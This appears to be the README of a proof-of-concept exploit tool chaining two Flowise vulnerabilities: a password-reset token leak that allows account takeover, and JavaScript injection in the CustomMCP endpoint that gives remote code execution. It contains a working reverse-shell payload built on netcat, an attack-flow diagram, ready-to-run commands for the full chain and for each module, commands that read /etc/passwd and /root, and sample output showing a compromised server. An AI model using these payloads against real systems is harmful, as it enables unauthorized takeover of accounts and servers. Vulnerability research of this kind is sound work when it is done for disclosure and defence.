{
  "user": {
    "email": "[email protected]",
    "tempToken": "LEAKED_TOKEN_HERE",
    "tokenExpiry": "2025-08-19T13:00:33.834Z",
    "status": "active"
  }
}

POST /api/v1/node-load-method/customMCP
  -> convertToValidJSONString()
    -> Function('return ' + mcpServerConfig)()   ← unsanitized user input

Content-Type:   application/json
x-request-from: internal
Cookie:         token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>

{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
  }
}

Attacker                              Flowise API
   │                                      │
   │  [CVE-2025-58434]                    │
   │  POST /forgot-password {email}       │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  201 { tempToken: "abc..." }         │  ← token leaked in response
   │                                      │
   │  POST /reset-password                │
   │  {email, tempToken, newPassword}     │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  201 OK (tempToken cleared)          │  ← ATO complete
   │                                      │
   │  [CVE-2025-59528]                    │
   │  POST /auth/login {email, newPass}   │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  200 OK + Set-Cookie: token=...      │  ← cookies extracted
   │                                      │
   │  POST /node-load-method/customMCP    │
   │  {mcpServerConfig: <js-revshell>}    │
   │─────────────────────────────────────►│
   │                              [exec() fires in background]
   │◄─────────────────────────────────────│
   │  200 {"shell_fired"}                 │
   │                                      │
   Attacker's nc listener ←─────────────── Server connects back
   ✓  Full RCE from zero credentials

flowise-dual-cve-poc/
├── flowise_poc.py      # Main PoC — all modules + chain mode
├── requirements.txt    # Python dependencies
├── README.md           # This file
└── DISCLAIMER.md       # Full legal notice

git clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt

# Minimal invocation — full chain + reverse shell
python3 flowise_poc.py \
  -u http://flowise.example.com \
  -e [email protected] \
  --lhost 10.10.16.35 \
  --lport 4444

nc -lvnp 4444

python3 flowise_poc.py -h

# Reverse shell (default payload)
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  --lhost 10.10.16.35 --lport 4444

# Custom command instead of reverse shell
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  -c "cat /etc/passwd"

# Custom ATO password + reverse shell
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  -p "MyCustomPass1!" \
  --lhost 10.10.16.35 --lport 9001

# Default new password
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected]

# Custom new password
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected] \
  -p "NewPassword2025!"

# Print raw JSON response
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected] --json-output

python3 flowise_poc.py --module login \
  -u http://flowise.example.com \
  -e [email protected] \
  -P "password123"

# JSON output for scripting
python3 flowise_poc.py --module login \
  -u http://flowise.example.com \
  -e [email protected] \
  -P "password123" --json-output

# Reverse shell — auto-login
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  -e [email protected] -P "password123" \
  --lhost 10.10.16.35 --lport 4444

# Custom command — auto-login
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  -e [email protected] -P "password123" \
  -c "id"

# Manual token — reverse shell
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  --token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
  --lhost 10.10.16.35 --lport 4444

# All three cookies manually
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  --token "eyJhbGci..." \
  --refresh-token "eyJhbGci..." \
  --connect-sid "s%3A4rey2nuk..." \
  -c "ls /root"

  [Step 1] [CVE-2025-58434] Requesting forgot-password token ...
  [*] HTTP 201
  ────────────────────────────────────────────────────────────────────
    LEAKED ACCOUNT DATA
  ────────────────────────────────────────────────────────────────────
  tempToken     : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
  tokenExpiry   : 2026-04-13T05:14:17.621Z
  ────────────────────────────────────────────────────────────────────
  [+] VULNERABLE — token disclosed without authentication!

  [Step 2] [CVE-2025-58434] Resetting password → Flowise@Pwn3d2025!
  [*] HTTP 201
  [+] Password reset SUCCESSFUL (tempToken cleared)
  [+] Account takeover complete → [email protected] / Flowise@Pwn3d2025!

  [Step 3] [Auth] Logging in to extract session cookies ...
  [*] HTTP 200
  ────────────────────────────────────────────────────────────────────
    EXTRACTED SESSION COOKIES
  ────────────────────────────────────────────────────────────────────
  token           : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
  refreshToken    : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
  connect_sid     : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
  ────────────────────────────────────────────────────────────────────

  [Step 4] [CVE-2025-59528] Executing RCE via CustomMCP ...
  [*] HTTP 200
  ────────────────────────────────────────────────────────────────────
    RCE RESULT
  ────────────────────────────────────────────────────────────────────
  Mode    : Reverse Shell
  LHOST   : 10.10.16.35
  LPORT   : 4444
  [+] Reverse shell payload fired!
  [!] Waiting for connection on 10.10.16.35:4444 ...
  [!] Make sure your listener is running: nc -lvnp 4444
  ────────────────────────────────────────────────────────────────────
  [+] CHAIN COMPLETE